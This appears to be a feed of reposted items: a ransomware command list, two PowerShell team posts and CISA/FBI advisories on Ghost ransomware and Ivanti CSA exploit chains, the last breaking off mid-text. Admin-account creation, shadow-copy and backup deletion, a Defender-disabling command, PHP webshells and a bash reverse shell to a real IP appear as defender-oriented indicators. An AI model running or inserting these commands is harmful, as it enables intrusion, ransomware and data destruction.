psexec.exe -accepteula -nobanner -s {hostname/ip} -с hostname/ipwho.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} -с newuser.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} -с removesophos.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} -с start.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} -с uninstallSophos.bat
nltest /dclist:
net group “domain admins” /domain [T1069.002]
net group “Domain Admins” default /add /domain
net group “Enterprise Admins” default /add /domain
net group “Remote Desktop Users” default /add /domain
net group “Group Policy Creator Owners” default /add /domain
net group “Schema Admins” default /add /domain
net group “domain users” /domain
net user default /active:yes /domain
net user /add default <password> /domain [T1136.002]
query user
reg add HKLMSystemCurrentControlSetControlLsa /v DisableRestrictedAdmin /t REG_DWORD /d 0
systeminfo
vssadmin.exe Delete Shadows /all /quiet
vssadmin.exe resize shadowstorage /for=%s /on=%s /maxsize=unbounded
del /s /f /q %s*.VHD %s*.bac %s*.bak %s*.wbcat %s*.bkf %sBac kup*.* %sbackup*.* %s*.set %s*.win %s*.dsk
netsh advfirewall firewall add rule name=”rdp” dir=in protocol=tcp localport=3389 action=allow
netsh advfirewall firewall set rule group=”windows management instrumentation (wmi)” new enable=yes
reg add “HKLMSYSTEMCurrentControlSetControlTerminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f

Microsoft Update changes for PowerShell 7

This post was originally published on this site

Microsoft Update (MU) changes for PowerShell 7

It has been a while since we’ve updated folks on the latest behaviors for Microsoft Update! This
post gives some background on Microsoft Update, explains our update rules, and announces our plans
for updating your installs of PowerShell 7.2.

About Microsoft Update

Microsoft Update (MU) is a service that provides automatic updates for Microsoft products and services. We first started using MU in PowerShell 7.2. MU provides a convenient way to automatically update PowerShell 7, which ensures you can control your update schedule, test it against your environment, and scale across your enterprise with ease.

Enabling MU

During MSI installation, two checkboxes control update settings:

  • Enable updates for PowerShell through Microsoft Update or WSUS (recommended)
    Allows the system to receive updates for PowerShell 7 through Microsoft Update, Windows Server
    Update Services (WSUS), or System Center Configuration Manager (SCCM).
  • Enable Microsoft Update when I check for updates (recommended)
    Permits the system to receive updates for all supported Microsoft software, not just Windows.

We recommend that you select both options to ensure comprehensive update coverage.

If you want to set these options while installing PowerShell from the command line, you can find
detailed instructions in the PowerShell documentation.

Update Availability

After we release a new PowerShell version, it can take up to two weeks before the update is
available through Microsoft Update. We strive to publish the update no later than 2 weeks after the
GitHub release, but there is no guarantee. There may be circumstances that delay the update. If you
need the update before it’s available via MU, you can download it directly from the
PowerShell Releases page on GitHub.

What is the expected behavior of MU?

We defined the rules for updates in an intentional way to ensure that users who are using LTS
versions stay on LTS versions. This means that you might not be updated to the latest version of
PowerShell 7 when you expected.

These are the rules for updates:

  • If you are running 7.4 (LTS), you will receive updates to 7.4 (LTS)
  • If you are running 7.5 (stable), you will receive updates to 7.5 (stable)
  • If you are running any preview or release candidate (rc) version, you will receive updates to next
    latest preview version as they come out.

We will never update an LTS version to a stable non-LTS version, like 7.4 to 7.5. However, a stable
non-LTS release WILL be upgraded to the higher LTS release when support for the stable release
ends. The only time we update an LTS version to a different version would be when an LTS version is
out of support. For example, we will update 7.4 to 7.6 (next LTS) once 7.4 goes out of support.

Preview versions will never be updated to the latest stable version. Instead, we will update you to
the latest preview release. This means if you are on 7.5-rc.1 you will be updated to 7.6-preview.2
(since preview.1 was skipped) instead of 7.5.

NOTE

Beginning March 14, 2025, we will be updating users who are on 7.2 to 7.4.

Helpful Links

Hopefully this post helps you understand the MU process. If you want more information about our MU
release process, PowerShell releases, or the PowerShell Support Lifecycle, check out the following
articles.

Feedback

As always, we look forward to your feedback. You can provide feedback via GitHub Issues.

Thank you so much!

Steven Bucher

PM on the PowerShell Team

The post Microsoft Update changes for PowerShell 7 appeared first on PowerShell Team.

#StopRansomware: Ghost (Cring) Ransomware

This post was originally published on this site

Summary

Note: This joint Cybersecurity Advisory is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) are releasing this joint advisory to disseminate known Ghost (Cring)—(“Ghost”)—ransomware IOCs and TTPs identified through FBI investigation as recently as January 2025.

Beginning early 2021, Ghost actors began attacking victims whose internet facing services ran outdated versions of software and firmware. This indiscriminate targeting of networks containing vulnerabilities has led to the compromise of organizations across more than 70 countries, including organizations in China. Ghost actors, located in China, conduct these widespread attacks for financial gain. Affected victims include critical infrastructure, schools and universities, healthcare, government networks, religious institutions, technology and manufacturing companies, and numerous small- and medium-sized businesses.

Ghost actors rotate their ransomware executable payloads, switch file extensions for encrypted files, modify ransom note text, and use numerous ransom email addresses, which has led to variable attribution of this group over time. Names associated with this group include Ghost, Cring, Crypt3r, Phantom, Strike, Hello, Wickrme, HsHarada, and Rapture. Samples of ransomware files Ghost used during attacks are: Cring.exe, Ghost.exe, ElysiumO.exe, and Locker.exe.

Ghost actors use publicly available code to exploit Common Vulnerabilities and Exposures (CVEs) and gain access to internet facing servers. Ghost actors exploit well known vulnerabilities and target networks where available patches have not been applied.

The FBI, CISA, and MS-ISAC encourage organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of Ghost ransomware incidents.

Download the PDF version of this report:

AA25-050A #StopRansomware: Ghost (Cring) Ransomware
(PDF, 735.18 KB
)

For a downloadable copy of IOCs, see:

AA25-050A STIX XML
(XML, 78.67 KB
)

AA25-050A STIX XML (Additional IOCs)
(XML, 74.01 KB
)

AA25-050A STIX JSON
(JSON, 68.47 KB
)

Technical Details

Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 16.1. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

Initial Access

The FBI has observed Ghost actors obtaining initial access to networks by exploiting public facing applications that are associated with multiple CVEs [T1190]. Their methodology includes leveraging vulnerabilities in Fortinet FortiOS appliances (CVE-2018-13379), servers running Adobe ColdFusion (CVE-2010-2861 and CVE-2009-3960), Microsoft SharePoint (CVE-2019-0604), and Microsoft Exchange (CVE-2021-34473CVE-2021-34523, and CVE-2021-31207— commonly referred to as the ProxyShell attack chain).

Execution

Ghost actors have been observed uploading a web shell [T1505.003] to a compromised server and leveraging Windows Command Prompt [T1059.003] and/or PowerShell [T1059.001] to download and execute Cobalt Strike Beacon malware [T1105] that is then implanted on victim systems. Despite Ghost actors’ malicious implementation, Cobalt Strike is a commercially available adversary simulation tool often used for the purposes of testing an organization’s security controls.

Persistence

Persistence is not a major focus for Ghost actors, as they typically only spend a few days on victim networks. In multiple instances, they have been observed proceeding from initial compromise to the deployment of ransomware within the same day. However, Ghost actors sporadically create new local [T1136.001] and domain accounts [T1136.002] and change passwords for existing accounts [T1098]. In 2024, Ghost actors were observed deploying web shells [T1505.003] on victim web servers.

Privilege Escalation

Ghost actors often rely on built in Cobalt Strike functions to steal process tokens running under the SYSTEM user context to impersonate the SYSTEM user, often for the purpose of running Beacon a second time with elevated privileges [T1134.001].

Ghost actors have been observed using multiple open-source tools in an attempt at privilege escalation through exploitation [T1068] such as “SharpZeroLogon,” “SharpGPPPass,” “BadPotato,” and “GodPotato.” These privilege escalation tools would not generally be used by individuals with legitimate access and credentials. 

See Table 1 for a descriptive listing of tools.

Credential Access

Ghost actors use the built in Cobalt Strike function “hashdump” or Mimikatz [T1003] to collect passwords and/or password hashes to aid them with unauthorized logins and privilege escalation or to pivot to other victim devices.

Defense Evasion

Ghost actors used their access through Cobalt Strike to display a list of running processes [T1057] to determine which antivirus software [T1518.001] is running so that it can be disabled [T1562.001]. Ghost frequently runs a command to disable Windows Defender on network connected devices. Options used in this command are: Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIntrusionPreventionSystem 1 -DisableBehaviorMonitoring 1 -DisableScriptScanning 1 -DisableIOAVProtection 1 -EnableControlledFolderAccess Disabled -MAPSReporting Disabled -SubmitSamplesConsent NeverSend.

Discovery

Ghost actors have been observed using other built-in Cobalt Strike commands for domain account discovery [T1087.002], open-source tools such as “SharpShares” for network share discovery [T1135], and “Ladon 911” and “SharpNBTScan” for remote systems discovery [T1018]. Network administrators would be unlikely to use these tools for network share or remote systems discovery.

Lateral Movement

Ghost actors used elevated access and Windows Management Instrumentation Command-Line (WMIC) [T1047] to run PowerShell commands on additional systems on the victim network— often for the purpose of initiating additional Cobalt Strike Beacon infections. The associated encoded string is a base 64 PowerShell command that always begins with: powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIA… [T1132.001][T1564.003].

This string decodes to “$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(“” and is involved with the execution of Cobalt Strike in memory on the target machine.

In cases where lateral movement attempts are unsuccessful, Ghost actors have been observed abandoning an attack on a victim.

Exfiltration

Ghost ransom notes often claim exfiltrated data will be sold if a ransom is not paid. However, Ghost actors do not frequently exfiltrate a significant amount of information or files, such as intellectual property or personally identifiable information (PII), that would cause significant harm to victims if leaked. The FBI has observed limited downloading of data to Cobalt Strike Team Servers [T1041]. Victims and other trusted third parties have reported limited uses of Mega.nz [T1567.002] and installed web shells for similar limited data exfiltration. Note: The typical data exfiltration is less than hundreds of gigabytes of data.

Command and Control

Ghost actors rely heavily on Cobalt Strike Beacon malware and Cobalt Strike Team Servers for command and control (C2) operations, which function using hypertext transfer protocol (HTTP) and hypertext transfer protocol secure (HTTPS) [T1071.001]. Ghost rarely registers domains associated with their C2 servers. Instead, connections made to a uniform resource identifier (URI) of a C2 server, for the purpose of downloading and executing Beacon malware, directly reference the C2 server’s IP address. For example, http://xxx.xxx.xxx.xxx:80/Google.com where xxx.xxx.xxx.xxx represents the C2 server’s IP address.

For email communication with victims, Ghost actors use legitimate email services that include traffic encryption features. [T1573] Some examples of emails services that Ghost actors have been observed using are Tutanota, Skiff, ProtonMail, Onionmail, and Mailfence.

Note: Table 2 contains a list of Ghost ransom email addresses.

Impact and Encryption

Ghost actors use Cring.exe, Ghost.exe, ElysiumO.exe, and Locker.exe, which are all ransomware executables that share similar functionality. Ghost variants can be used to encrypt specific directories or the entire system’s storage [T1486]. The nature of executables’ operability is based on command line arguments used when executing the ransomware file. Various file extensions and system folders are excluded during the encryption process to avoid encrypting files that would render targeted devices inoperable.

These ransomware payloads clear Windows Event Logs [T1070.001], disable the Volume Shadow Copy Service, and delete shadow copies to inhibit system recovery attempts [T1490]. Data encrypted with Ghost ransomware variants cannot be recovered without the decryption key. Ghost actors hold the encrypted data for ransom and typically demand anywhere from tens to hundreds of thousands of dollars in cryptocurrency in exchange for decryption software [T1486].

The impact of Ghost ransomware activity varies widely on a victim-to-victim basis. Ghost actors tend to move to other targets when confronted with hardened systems, such as those where proper network segmentation prevents lateral moment to other devices.

Indicators of Compromise (IOC)

Table 1 lists several tools and applications Ghost actors have used for their operations. The use of these tools and applications on a network should be investigated further.

Note: Authors of these tools generally state that they should not be used in illegal activity.

Table 1: Tools Leveraged by Ghost Actors
Name Description Source
Cobalt Strike Cobalt Strike is penetration testing software. Ghost actors  use an unauthorized version of Cobalt Strike. N/A
IOX Open-source proxy, used to establish a reverse proxy to a Ghost C2 server from an internal victim device. github[.]com/EddieIvan01/iox
SharpShares.exe SharpShares.exe is used to enumerate accessible network shares in a domain. Ghost actors use this primarily for host discovery. github[.]com/mitchmoser/SharpShares
SharpZeroLogon.exe SharpZeroLogon.exe attempts to exploit CVE-2020-1472 and is run against a target Domain Controller. github[.]com/leitosama/SharpZeroLogon
SharpGPPPass.exe SharpGPPPass.exe attempts to exploit CVE-2014-1812 and targets XML files created through Group Policy Preferences that may contain passwords. N/A
SpnDump.exe SpnDump.exe is used to list service principal name identifiers, which Ghost actors use for service and hostname enumeration. N/A
NBT.exe A compiled version of SharpNBTScan, a NetBIOS scanner. Ghost actors use this tool for hostname and IP address enumeration. github[.]com/BronzeTicket/SharpNBTScan
BadPotato.exe BadPotato.exe is an exploitation tool used for privilege escalation. github[.]com/BeichenDream/BadPotato
God.exe God.exe is a compiled version of GodPotato and is used for privilege escalation. github[.]com/BeichenDream/GodPotato
HFS (HTTP File Server) A portable web server program that Ghost actors use to host files for remote access and exfiltration. rejitto[.]com/hfs
Ladon 911 A multifunctional scanning and exploitation tool, often used by Ghost actors with the MS17010 option to scan for SMB vulnerabilities associated with CVE-2017-0143 and CVE-2017-0144. github[.]com/k8gege/Ladon
Web Shell A backdoor installed on a web server that allows for the execution of commands and facilitates persistent access. Slight variation of github[.]com/BeichenDream/Chunk-Proxy/blob/main/proxy.aspx
Table 2: MD5 File Hashes Associated with Ghost Ransomware Activity
File name MD5 File Hash
Cring.exe c5d712f82d5d37bb284acd4468ab3533
Ghost.exe

34b3009590ec2d361f07cac320671410

d9c019182d88290e5489cdf3b607f982

ElysiumO.exe

29e44e8994197bdb0c2be6fc5dfc15c2

c9e35b5c1dc8856da25965b385a26ec4

d1c5e7b8e937625891707f8b4b594314

Locker.exe ef6a213f59f3fbee2894bd6734bbaed2
iex.txt, pro.txt (IOX) ac58a214ce7deb3a578c10b97f93d9c3
x86.log (IOX)

c3b8f6d102393b4542e9f951c9435255

0a5c4ad3ec240fbfd00bdc1d36bd54eb

sp.txt (IOX) ff52fdf84448277b1bc121f592f753c5
main.txt (IOX) a2fd181f57548c215ac6891d000ec6b9
isx.txt (IOX) 625bd7275e1892eac50a22f8b4a6355d
sock.txt (IOX) db38ef2e3d4d8cb785df48f458b35090

Ransom Email Addresses

Table 3 is a subset of ransom email addresses that have been included in Ghost ransom notes.

Table 3: Ransom Email Addresses
Email Addresses
asauribe@tutanota.com ghostbackup@skiff.com rainbowforever@tutanota.com
cringghost@skiff.com ghosts1337@skiff.com retryit1998@mailfence.com
crptbackup@skiff.com ghosts1337@tuta.io retryit1998@tutamail.com
d3crypt@onionmail.org ghostsbackup@skiff.com rsacrpthelp@skiff.com
d3svc@tuta.io hsharada@skiff.com rsahelp@protonmail.com
eternalnightmare@tutanota.com just4money@tutanota.com sdghost@onionmail.org
evilcorp@skiff.com kellyreiff@tutanota.com shadowghost@skiff.com
fileunlock@onionmail.org kev1npt@tuta.io shadowghosts@tutanota.com
fortihooks@protonmail.com lockhelp1998@skiff.com summerkiller@mailfence.com
genesis1337@tutanota.com r.heisler@skiff.com summerkiller@tutanota.com
ghost1998@tutamail.com rainbowforever@skiff.com webroothooks@tutanota.com

Ransom Notes

Starting approximately in August 2024, Ghost actors began using TOX IDs in ransom notes as an alternative method for communicating with victims. For example: EFE31926F41889DBF6588F27A2EC3A2D7DEF7D2E9E0A1DEFD39B976A49C11F0E19E03998DBDA and E83CD54EAAB0F31040D855E1ED993E2AC92652FF8E8742D3901580339D135C6EBCD71002885B.

MITRE ATT&CK Tactics and Techniques

See Table 4 to Table 13 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, version 16.1, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 4: Initial Access
Technique Title  ID Use
Exploit Public-Facing Application T1190 Ghost actors exploit multiple vulnerabilities in public-facing systems to gain initial access to servers.
Table 5: Execution
Technique Title  ID Use
Windows Management Instrumentation T1047 Ghost actors abuse WMI to run PowerShell scripts on other devices, resulting in their infection with Cobalt Strike Beacon malware.
PowerShell T1059.001 Ghost actors use PowerShell for various functions including to deploy Cobalt Strike.
Windows Command Shell T1059.003 Ghost actors use the Windows Command Shell to download malicious content on to victim servers.
Table 6: Persistence
Technique Title  ID Use
Account Manipulation T1098 Ghost actors change passwords for already established accounts.
Local Account T1136.001 Ghost actors create new accounts or makes modifications to local accounts.
Domain Account T1136.002 Ghost actors create new accounts or makes modifications to domain accounts.
Web Shell T1505.003 Ghost actors upload web shells to victim servers to gain access and for persistence.
Table 7: Privilege Escalation
Technique Title  ID Use
Exploitation for Privilege Escalation T1068 Ghost actors use a suite of open source tools in an attempt to gain elevated privileges through exploitation of vulnerabilities.
Token Impersonation/Theft T1134.001 Ghost actors use Cobalt Strike to steal process tokens of processes running at a higher privilege.
Table 8: Defense Evasion
Technique Title  ID Use
Application Layer Protocol: Web Protocols T1071.001 Ghost actors use HTTP and HTTPS protocols while conducting C2 operations. 
Impair Defenses: Disable or Modify Tools T1562.001 Ghost actors disable antivirus products.
Hidden Window T1564.003 Ghost actors use PowerShell to conceal malicious content within legitimate appearing command windows.
Table 9: Credential Access
Technique Title  ID Use
OS Credential Dumping T1003 Ghost actors use Mimikatz and the Cobalt Strike “hashdump” command to collect passwords and password hashes.
Table 10: Discovery
Technique Title  ID Use
Remote System Discovery T1018 Ghost actors use tools like Ladon 911 and ShapNBTScan for remote systems discovery.
Process Discovery T1057 Ghost actors run a ps command to list running processes on an infected device.
Domain Account Discovery T1087.002 Ghost actors run commands such as net group “Domain Admins” /domain to discover a list of domain administrator accounts.
Network Share Discovery T1135 Ghost actors use various tools for network share discovery for the purpose of host enumeration.
Software Discovery T1518 Ghost actors use their access to determine which antivirus software is running.
Security Software Discovery T1518.001 Ghost actors run Cobalt Strike to enumerate running antivirus software.
Table 11: Exfiltration
Technique Title  ID Use
Exfiltration Over C2 Channel T1041 Ghost actors use both web shells and Cobalt Strike to exfiltrate limited data.
Exfiltration to Cloud Storage T1567.002 Ghost actors sometimes use legitimate cloud storage providers such as Mega.nz for malicious exfiltration operations.
Table 12: Command and Control
Technique Title  ID Use
Web Protocols T1071.001 Ghost actors use Cobalt Strike Beacon malware and Cobalt Strike Team Servers which communicate over HTTP and HTTPS.
Ingress Tool Transfer T1105 Ghost actors use Cobalt Strike Beacon malware to deliver ransomware payloads to victim servers.
Standard Encoding T1132.001 Ghost actors use PowerShell commands to encode network traffic which reduces their likelihood of being detected during lateral movement.
Encrypted Channel T1573 Ghost actors use encrypted email platforms to facilitate communications. 
Table 13: Impact
Technique Title  ID Use
Data Encrypted for Impact T1486 Ghost actors use ransomware variants Cring.exe, Ghost.exe, ElysiumO.exe, and Locker.exe to encrypt victim files for ransom.
Inhibit System Recovery T1490 Ghost actors delete volume shadow copies.

Mitigations

The FBI, CISA, and MS-ISAC recommend organizations reference their #StopRansomware Guide and implement the mitigations below to improve cybersecurity posture on the basis of the Ghost ransomware activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

  • Maintain regular system backups that are known-good and stored offline or are segmented from source systems [CPG 2.R]. Ghost ransomware victims whose backups were unaffected by the ransomware attack were often able to restore operations without needing to contact Ghost actors or pay a ransom.
  • Patch known vulnerabilities by applying timely security updates to operating systems, software, and firmware within a risk-informed timeframe [CPG 1.E].
  • Segment networks to restrict lateral movement from initial infected devices and other devices in the same organization [CPG 2.F].
  • Require Phishing-Resistant MFA for access to all privileged accounts and email services accounts.
  • Train users to recognize phishing attempts.
  • Monitor for unauthorized use of PowerShell. Ghost actors leverage PowerShell for malicious purposes, although it is often a helpful tool that is used by administrators and defenders to manage system resources. For more information, visit NSA and CISA’s joint guidance on PowerShell best practices.
    • Implement the principle of least privilege when granting permissions so that employees who require access to PowerShell are aligned with organizational business requirements.
  • Implement allowlisting for applications, scripts, and network traffic to prevent unauthorized execution and access [CPG 3.A].
  • Identify, alert on, and investigate abnormal network activity. Ransomware activity generates unusual network traffic across all phases of the attack chain. This includes running scans to discover other network connected devices, running commands to list, add, or alter administrator accounts, using PowerShell to download and execute remote programs, and running scripts not usually seen on a network. Organizations that can successfully identify and investigate this activity are better able to interrupt malicious activity before ransomware is executed [CPG 3.A].
    • Ghost actors run a significant number of commands, scripts, and programs that IT administrators would have no legitimate reason for running. Victims who have identified and responded to this unusual behavior have successfully prevented Ghost ransomware attacks.
  • Limit exposure of services by disabling unused ports such as, RDP 3398, FTP 21, and SMB 445, and restricting access to essential services through securely configured VPNs or firewalls.
  • Enhance email security by implementing advanced filtering, blocking malicious attachments, and enabling DMARC, DKIM, and SPF to prevent spoofing [CPG 2.M].

Validate Security Controls

In addition to applying mitigations, the FBI, CISA, and MS-ISAC recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (see Table 3 to Table 13).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies’ performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

Reporting

Your organization has no obligation to respond or provide information back to the FBI in response to this joint advisory. If, after reviewing the information provided, your organization decides to provide information to the FBI, reporting must be consistent with applicable state and federal laws.

The FBI is interested in any information that can be shared, to include logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, and/or decryptor files.

Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, date of infection, date detected, initial attack vector, and host and network-based indicators.

The FBI, CISA, and MS-ISAC do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to FBI’s Internet Crime Complain Center (IC3), a local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov) or by calling 1-844-Say-CISA (1-844-729-2472).

Disclaimer

The information in this report is being provided “as is” for informational purposes only. The FBI, CISA, and MS-ISAC do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the FBI, CISA, and the MS-ISAC.

Version History

February 19, 2025: Initial version.

PowerShell 7.5 GA is now available

This post was originally published on this site

We’re pleased to announce the release of PowerShell 7.5.0! For this release the focus has been on quality, security and stability of the platform. We greatly appreciate the enormous amount of community contributions in this release along with new cmdlets, experimental features and other quality of life additions. PowerShell 7.5 is built on top of .NET 9 and will be supported for 18 months as a standard support release.

Please note that support for PowerShell 7.2 is ended November 8, 2024. PowerShell 7.4 is the current LTS release of PowerShell and is supported until November 2026.

How do I get it?

PowerShell 7 is supported on Windows, Linux, and macOS. Consult the documentation for installation instructions and supported platforms.

What’s new in this release?

The PowerShell 7.5 milestone focused on security, quality and community contributions. A few highlights include:

  • PSResourceGet now supports ACR as a container gallery, for more information check out the documentation
  • PSReadLine has been updated to version 2.3.6
  • New cmdlets ConvertTo-CliXml and ConvertFrom-CliXml (Thanks @ArmaanMcleod!)
  • Performance improvements to the += operation for an array of objects. (Thanks @jborean93!)
  • Web cmdlet improvements as well as improvements to other cmdlets (Thanks @CarloToso, @ArmaanMcleod, @Snowman-25 and @LNKLEO!)
  • Many Tab completion improvements (Thanks @MartinGC94 and @ArmaanMcleod!)
  • Many engine improvements. (Thanks @JustinGrote, @jborean93! and @ArmaanMcleod!)
  • New experimental features PSDirectToVariable, PSNativeWindowsTildeExpansion, and PSSerializeJSONLongEnumAsNumber (Thanks @jborean93 and @domsleee!)
  • This release also contained a number of bug fixes — for the full list of changes please refer to the changelog

For more information on what’s changed, see What’s new in PowerShell 7.5.

Experimental feature changes

The following experimental features were converted to mainstream features in PowerShell 7.5:

  • PSCommandNotFoundSuggestion
  • PSCommandWithArgs
  • PSModuleAutoLoadSkipOfflineFiles

PowerShell 7.5 also includes the following experimental features:

  • PSRedirectToVariable
  • PSNativeWindowsTildeExpansion
  • PSSerializeJSONLongEnumAsNumber

For more information, see Using Experimental Features in PowerShell.

What’s next?

We are also releasing previews of PowerShell 7.6, our next long term servicing (LTS) release. We appreciate all the efforts of the community, both individuals and working group members. We look forward to your continued feedback and contributions!

Jason

PowerShell Team

The post PowerShell 7.5 GA is now available appeared first on PowerShell Team.

Threat Actors Chained Vulnerabilities in Ivanti Cloud Service Applications

This post was originally published on this site

Note: The CVEs in this advisory are unrelated to vulnerabilities (CVE-2025-0282 and CVE-2025-0283) in Ivanti’s Connect Secure, Policy Secure and ZTA Gateways. For more information on mitigating CVE -2025-0282 and CVE-2025-0283, see Ivanti Releases Security Updates for Connect Secure, Policy Secure, and ZTA Gateways.

Summary

The Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI) are releasing this joint Cybersecurity Advisory in response to exploitation in September 2024 of vulnerabilities in Ivanti Cloud Service Appliances (CSA): CVE-2024-8963, an administrative bypass vulnerability; CVE-2024-9379, a SQL injection vulnerability; and CVE-2024-8190 and CVE-2024-9380, remote code execution vulnerabilities.

According to CISA and trusted third-party incident response data, threat actors chained the listed vulnerabilities to gain initial access, conduct remote code execution (RCE), obtain credentials, and implant webshells on victim networks. The actors’ primary exploit paths were two vulnerability chains. One exploit chain leveraged CVE-2024-8963 in conjunction with CVE-2024-8190 and CVE-2024-9380 and the other exploited CVE-2024-8963 and CVE-2024-9379. In one confirmed compromise, the actors moved laterally to two servers.

All four vulnerabilities affect Ivanti CSA version 4.6x versions before 519, and two of the vulnerabilities (CVE-2024-9379 and CVE-2024-9380) affect CSA versions 5.0.1 and below; according to Ivanti, these CVEs have not been exploited in version 5.0.[1]

Ivanti CSA 4.6 is End-of-Life (EOL) and no longer receives patches or third-party libraries. CISA and FBI strongly encourage network administrators to upgrade to the latest supported version of Ivanti CSA. Network defenders are encouraged to hunt for malicious activity on their networks using the detection methods and indicators of compromise (IOCs) within this advisory. Credentials and sensitive data stored within the affected Ivanti appliances should be considered compromised. Organizations should collect and analyze logs and artifacts for malicious activity and apply the incident response recommendations within this advisory.

Download the PDF version of this report:

For a downloadable copy of IOCs, see:

AA25-022A STIX XML
(XML, 105.56 KB
)
AA25-022A STIX JSON
(JSON, 76.91 KB
)

Technical Details

Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 16. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

In September 2024, Ivanti released two Security Advisories disclosing exploitation of CVE-2024-8190 and CVE-2024-8963.[2][3] In October 2024, Ivanti released another advisory disclosing exploitation of CVE-2024-9379 and CVE-2024-9380.[1]

  • CVE-2024-8963 [CWE-22: Path Traversal] is an administrate bypass vulnerability that allows threat actors to remotely access restricted features within the appliance. When used in conjunction with CVE-2024-8190 [CWE-78: OS Command Injection], threat actors can remotely authenticate into a victims’ network and execute arbitrary commands on the appliance [T1219].[2][3]
  • CVE-2024-9379 [CWE-89: SQL Injection] allows a remote authenticated attacker with admin privileges to run arbitrary SQL statements.[1]
  • CVE-2024-9380 [CWE-77: Command Injection] allows a remote authenticated attacker with admin privileges to obtain RCE.[1]

According to Ivanti’s advisories and industry reporting, these vulnerabilities were exploited as zero days.[4] Based on evidence of active exploitation, CISA added CVE-2024-8963, CVE-2024-8190, CVE-2024-9379, and CVE-2024-9380 to its Known Exploited Vulnerabilities (KEV) Catalog.

According to CISA and trusted third-party incident response data, threat actors chained the above listed vulnerabilities to gain initial access, conduct RCE, obtain credentials, and implant webshells on victim networks. The primary exploit paths included two vulnerability chains. One exploit chain leveraged CVE-2024-8963 in conjunction with CVE-2024-8190 and CVE-2024-9380. The other chain exploited CVE-2024-8963 and CVE-2024-9379. After exploitation, the actors moved laterally in one victim—other victims had no follow-on activity because they identified anomalous activity and implemented mitigation measures.

Exploit Chain 1

The threat actors leveraged CVE-2024-8963 in conjunction with remote code execution vulnerabilities, CVE-2024-8190 and CVE-2024-9380. Acting as a nobody user [T1564.002], the threat actors first sent a GET request to datetime.php to acquire session and cross-site request forgery (CSRF) tokens using GET /client/index.php%3F.php/gsb/datetime[.]php [T1071.001]. They followed this in quick succession with a POST request to the same endpoint, using the TIMEZONE input field to manipulate the setSystemTimeZone function and execute code. In some confirmed compromises, the actors used this method to run base64-encoded Python scripts that harvested encrypted admin credentials from the database [T1552.001]. Note: The actors used multiple script variations. See Appendix A for examples of encoded and decoded scripts.

In some cases, the threat actors exfiltrated the encrypted admin credentials then decrypted them offline [TA0010]. In other cases, the threat actors leveraged an executable matching the regular expression phpw{6} located in the /tmp directory to decrypt the credentials prior to exfiltration—this tool was unrecoverable.

After obtaining credentials, the actors logged in and exploited CVE-2024-9380 to execute commands from a higher privileged account. The actors successfully sent a GET request to /gsb/reports[.]php. They immediately followed this with a POST request using the TW_ID input field to execute code to implant webshells for persistence [T1505.003].

In one confirmed compromise, the threat actors tried to create webshells using two different paths:

  • echo "<?php system(@
    $_REQUEST['a']);">/opt/ivanti/csa/broker/webroot/client/help.php
  • echo "<?php system('/bin/sudo '. @
    $_REQUEST['a']);" > /opt/landesk/broker/webroot/gsb/help.php

In the same compromise, the actors used the exploit to execute the following script to create a reverse Transmission Control Protocol command and control (C2) channel: bash -i >&/dev/tcp/107.173.89[.]16/8000 0>&1.

